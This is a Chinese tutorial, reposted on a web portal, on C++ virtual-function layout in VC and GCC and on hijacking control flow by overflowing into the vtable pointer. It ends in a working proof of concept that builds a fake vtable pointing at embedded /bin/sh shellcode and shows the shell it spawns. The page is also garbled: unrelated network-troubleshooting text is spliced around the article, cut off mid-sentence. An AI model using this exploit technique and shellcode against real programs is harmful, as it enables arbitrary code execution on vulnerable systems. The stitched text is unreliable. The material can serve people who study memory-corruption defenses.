WEB开发网
开发学院软件开发C++ C++中通过溢出覆盖虚函数指针列表执行代码 阅读

C++中通过溢出覆盖虚函数指针列表执行代码

 2008-03-08 12:23:16 来源:WEB开发网   
核心提示:1.配置交换机将交换机端口配置<!--StartFragment-->目录:=版权所有 软件 下载 学院 版权所有= 1. C++中虚函数的静态联编和动态联编 2. VC中对象的空间组织和溢出试验 3. GCC中对象的空间组织和溢出试验 4. 参考<一> C++中虚函数的静

1.配置交换机
  将交换机端口配置<!--StartFragment-->目录:=版权所有  软件 下载  学院  版权所有=

  1.  C++中虚函数的静态联编和动态联编
  2.  VC中对象的空间组织和溢出试验
  3.  GCC中对象的空间组织和溢出试验
  4.  参考


<一> C++中虚函数的静态联编和动态联编

    C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。
  其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
  使用,一个典型的例子就是虚函数是MFC的基石之一。

   这里有两个概念需要先解释:=版权所有  软件 下载  学院  版权所有=

  静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
  动态联编:程序运行阶段确定调用目标的地址。
  
   在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害
  字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

    一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
  int num1;
  ClassA(){ num1=0xffff; };
  virtual void test1(void){};
  virtual void test2(void){};
};
ClassA objA,* pobjA;

int main(void)
{
  pobjA=&objA;
  objA.test1();
  objA.test2();
  pobjA->test1();
  pobjA->test2();
  return 0;
}



 
使用VC编译:
开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT )

cl test.cpp /Fa
产生test.asm中间汇编代码

接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

我们来看看:

数据定义:

_BSS   SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?)   ;objA  64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS   ENDS

看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
   push   ebp
   mov   ebp, esp
   push   ecx
   mov   DWord PTR _this$[ebp], ecx  ; ecx 赋值给 _this ?? 不明白??

   mov   eax, DWORD PTR _this$[ebp]
   mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
      ; ClassA::`vftable'

; 前面的部分都是编译器加的东东,我们的赋值在这里

   mov   ecx, DWORD PTR _this$[ebp]
   mov   DWORD PTR [ecx+4], 65535  ;0xffff  num1=0xffff;
; 看来 _this+4就是num1的地址

   mov   eax, DWORD PTR _this$[ebp]
   mov   esp, ebp
   pop   ebp
   ret   0
??0ClassA@@QAE@XZ ENDP

那个_this和mov   DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
处调用的构造函数:

_$E9   PROC NEAR
; File test.cpp
; Line 10
   push   ebp
   mov   ebp, esp
   mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A
   call   ??0ClassA@@QAE@XZ      ;call ClassA::ClassA()
   pop   ebp
   ret   0
_$E9   ENDP

看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。

那么构造函数里的这两行又是干什么呢?
   mov   eax, DWORD PTR _this$[ebp]
   mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
      ; ClassA::`vftable'

我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于  ( * eax ) =  OFFSET FLAT:??_7ClassA@@6B@

来看看  ??_7ClassA@@6B@ 是哪个道上混的:

CONST   SEGMENT
??_7ClassA@@6B@
     DD FLAT:?test1@ClassA@@UAEXXZ  ;  ClassA::`vftable'
   DD FLAT:?test2@ClassA@@UAEXXZ
CONST   ENDS

看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
   mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
      ; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。


好了,至此我们已经看到了objA的构造了:

| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1  | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>      |
+--------+ ---> objA的结束地址   +--->+--------------+ 地址表 vftable
| 高地址 |                |test1()的地址 |
                     +--------------+
                     |test2()的地址 |
                     +--------------+

来看看main函数:
_main   PROC NEAR
; Line 13
   push   ebp
   mov   ebp, esp
; Line 14
   mov   DWORD PTR ?pobjA@@3PAVClassA@@A,
         OFFSET FLAT:?objA@@3VClassA@@A     ; pobjA = &objA

; Line 15
   mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A  ; ecx = this指针
                            ; 指向调用者的地址
   call   ?test1@ClassA@@UAEXXZ         ; objA.test1()
       ; objA.test1()直接调用,已经确定了地址
; Line 16
   mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A
   call   ?test2@ClassA@@UAEXXZ         ; objA.test2()
; Line 17
   mov   eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
   mov   edx, DWORD PTR [eax]          ; edx = vftable
   mov   ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
   call   DWORD PTR [edx]            ;
    ; call vftable[0]  即 pobjA->test1()  看地址是动态查找的 ; )
                                

; Line 18
   mov   eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
   mov   edx, DWORD PTR [eax]
   mov   ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
   call   DWORD PTR [edx+4]           ; pobjA->test2()
    ;  call vftable[1]  而vftable[1]里存放的是test2()的入口地址
; Line 19
   xor   eax, eax
; Line 20
   pop   ebp
   ret   0
_main   ENDP



好了,相信到这里你已经对动态联编有了深刻印象。


<二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

  通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:

| 低地址  |
+----------+ ---> objA的起始地址 &objA
|pvftable  |--------------------->+
+----------+            |
|各成员变量|            |
+----------+ ---> objA的结束地址  +---> +--------------+ 地址表 vftable
| 高地址  |               |虚函数1的地址 |
                     +--------------+
                     |虚函数2的地址 |
                     +--------------+
                     | . . . . . .  |

可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!

现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;

int main(void)
{
  cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
  return 0;
}

用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不轻易呀 ; )
只能通过obj1 溢出覆盖obj2了

//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
  cout << "Why a u here ?!" << endl;
};

ClassEx obj1,obj2,* pobj;

int main(void)
{

  pobj=&obj2;
  obj2.test();
 
  int vtab[1] = { (int) entry };//构造vtab,
                 //entry的入口地址
  obj1.buff[1] = (int)vtab;   //obj1.buff[1]就是 obj2的pvftable域
                 //这里修改了函数指针列表的地址到vtab
  pobj->test();
  return 0;
}

编译 cl ex_vc.cpp

运行结果:
ClassEx::test()
Why a u here ?!

测试环境: VC6


看我们修改了程序执行流程 ^_^

平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....



<三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

  刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp  来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。

通过分析我们可以看到:

gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:

|  低地址    |
+---------------+  对象的开始地址
|        |
|  成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
|        |
+---------------+
| pvftable    |----------->+------------------+  vftable
+---------------+       |     0     |
|   高地址   |       +------------------+
               |   XXXXXXXX    |
               +------------------+
               |     0     |
               +----------------- +
               |  虚函数1入口地址 |
               +------------------+
               |     0     |
               +----------------- +
               |  虚函数2入口地址 |
               +------------------+
               | . . . .  . .   |


哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!


来写个溢出测试程序:

//test.cpp
#include<iostream.h>
class ClassTest
{
public:
  long buff[1];  //大小为1
  virtual void test(void)
  {
   cout << "ClassTest test()" << endl;
  }
};

void entry(void)
{
  cout << "Why are u here ?!" << endl;
}

int main(void)
{
  ClassTest a,*p =&a;
  long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
                  //test() -> entry()

  a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
  a.test();   //静态联编的,不会有事
  p->test();  //动态联编的,到我们的函数表去找地址,
        //   结果就变成了调用函数  entry()

}

编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!


测试程序说明:

具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section     .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
     .p2align 2
     .type   _vt$9ClassTest,@object
     .size   _vt$9ClassTest,24
_vt$9ClassTest:
     .value 0
     .value 0
     .long __tf9ClassTest
     .value 0
     .value 0
     .long test__9ClassTest      ----------+
     .zero  8                  |
     .comm  __ti9ClassTest,8,4         |
                          |
                          |
             test()的地址      <----+


这就是其虚函数列表里的内容了。

           test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>

所以我们构造addr[]时:

  long addr[] = {0,0,0,(long)entry};

  就覆盖了test()函数的地址 为 entry()的地址

  p->test()
  时就跑到我们构建的地址表里取了entry的地址去运行了


测试环境 FreeBSD 4.4
     gcc 2.95.3

来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。

#include<iostream.h>
#include<stdio.h>
class ClassBase  //定义一个基础类
{
public:
  char buff[128];
  void setBuffer(char * s)
  {
   strcpy(buff,s);
  };
  virtual void printBuffer(void){};  //虚函数
};

class  ClassA :public ClassBase 
{
public:
  void printBuffer(void)
  {
   cout << "Name :" << buff << endl;
  };
};

class ClassB : public ClassBase
{
public:
  void printBuffer(void)
  {
   cout << "The text : " << buff << endl;
  };
};

char  buffer[512],*pc;      
long  * pl = (long *) buffer;
long  addr = 0xbfbffabc;  // 在我的机器上就是 &b ^_*
char  shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;

int main(void)
{
  ClassA a;
  ClassB b;
  ClassBase * classBuff[2] = { &a,&b };

  a.setBuffer("Tom");
  b.setBuffer("Hello ! This is world of c++ .");

  for(i=0;i<2;i++)   //C++中的惯用手法,
            //一个基础类的指针指向上层类对象时调
        //用的为高层类的虚函数
   classBuff[i]->printBuffer(); // 这里是正常用法

  cout << &a << " : " << &b <<  endl; // &b就是上面addr的值,
          //假如你的机器上两个值不同就改一改addr值吧!
    //构造一个非凡的buff呆会给b.setBuffer
    // 在开始处构造一个vftable
  pl[0]=0xAAAAAAAA;   //填充1
  pl[1]=0xAAAAAAAA;   //填充2
  pl[2]=0xAAAAAAAA;   //填充3
  pl[3]=addr+16;     //虚函数printBuffer入口地址
             //  的位置指向shell代码处了
  pc = buffer+16;
  strcpy(pc,shellcode);
  pc+=strlen(shellcode);

  for(;pc - buffer < 128 ; *pc++='A');  //填充
 
  pl=(long *) pc;
  *pl= addr;       //覆盖pvftable使其指向我们构造的列表

  b.setBuffer(buffer);  //溢出了吧 .

  // 再来一次
  for(i=0;i<2;i++)
   classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
                 // 时一个shell就出来了

  return 0;
}
 

bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$         <------ 呵呵,成功了

说明:

addr = &b  也就是 &b.buff[0]

b.setBuffer(buffer)
就是让 b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:

&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
           ____  ^         ___
            |  |         |
            |  |         |
|           +---+        |  |
|                     |  |
+--------------->  128   <--------------+  |
                       |
  此处即pvftable项 ,被溢出覆盖为 addr  <---+            

现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址 !


    本文只是一个引导性文字,还有许多没
  有提到的细节,需要自己去分析。
    俗话说自己动手丰衣足食 *_&

<四> 参考

  Phrack56# << SMASHING C++ VPTRS  >>

 
=版权所有  软件 下载  学院  版权所有=
     个人愚见,望斧正!

                 __watercloud__

               (watercloud@nsfocus.com)
为100M全双工,服务器安装一块Intell00M EISA网卡,在大流量负荷数据传输时,速度变得极慢,最后发现这款网卡不支持全双工。将交换机端口改为半双工以后,故障消失。这说明交换机的端口与网卡的速率和双工方式必须一致。目前有许多自适应的网卡和交换机,由于品牌的不一致,往往不能正确实现全双工方式,只有手工强制设定才能解决。
  2.双绞线的线序
  将服务器与交换机的距离由5米改为60米,结果无论如何也连接不通,为什么呢?以太网一般使用两对双绞线,排列在1、2、3、6的位置,假如使用的不是两对线,而是将原配对使用的线分开使用,就会形成缠绕,从而产生较大的串扰(NEXT),影响网络性能。上述故障的原因是由于3、6未使用配对线,在距离变长的情况下连接不通。将RJ45头重新按线序做过以后,一切恢复正常。
  3.网络与硬盘
  基于文件访问和打印的网络的瓶颈是服务器硬盘的速度,所以配置好服务器硬盘对于网络的性能起着决定性的作用。以下提供几点意见供你参考:
  ·选用SCSI接口和高转速硬盘。
  ·硬盘阵列卡能较大幅度地提升硬盘的读写性能和安全性,建议选用。
  ·不要使低速SCSI设备(如CD)与硬盘共用同一SCSI通道。
  4.网段与流量
  某台服务器,有两台文件读写极为频繁的工作站,当服务器只安装一块网卡,形成单独网段时,这个网段上的所有设备反应都很慢,当服务器安装了两块网卡,形成两个网段以后,将这两台文件读写极为频繁的工作站分别接在不同的网段上,网络中所有设备的反应速度都有了显著增加。这是因为增加的网段分担了原来较为集中的数据流量,从而提高了网络的反应速度。
  5.桥接与路由
  安装一套微波联网设备,上网调试时服务器上总是提示当前网段号应是对方的网段号。将服务器的网段号与对方改为一致后,服务器的报警消失了。啊!原来这是一套具有桥接性质的设备。后来与另外一个地点安装微波联网设备,换用了其他一家厂商的产品,再连接,将两边的网段号改为一致,可当装上设备以后,服务器又出现了报警:当前路由错误。修改了一边的网段以后,报警消失了。很明显这是一套具有路由性质的设备。桥的特征是在同一网段上,而路由必须在不同网段上。
  6.广播干扰
  上述通过桥接设备联网的两端,分别有一套通过广播发送信息的应用软件。当它们同时运行时,两边的服务器均会发出报警:收到不完全的包。将一套应用软件转移到另外一个网段上以后,此报警消失。这是因为网络的广播在同一网段上是没有限制的。两个广播就产生了相互干扰从而产生报警。而将一个应用软件移到另外一个网段以后,就相当于把这个网段的广播与另外网段上的广播设置了路由,从而限制了广播的干扰,这也是路由器最重要的作用。
  7.WAN与接地
  无意将路由器的电源插头插在了市电的插座上,结果64K DDN就是无法联通。电信局来人检查线路都很正常,最后检查路由器电源的接地电压,发现不对,换回到UPS的插座上,一切恢复正常。
  路由器的电源插头接地端坏掉,从而造成数据包经常丢失,做PING连接时,时好时坏。更换电源线后一切正常。WAN的连接因为涉及到远程线路,所以对于接地要求较为严格,才能保证较强的抗干扰性,达到规定的连接速率,不然会出现希奇的故障。

Tags:通过 溢出 覆盖

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接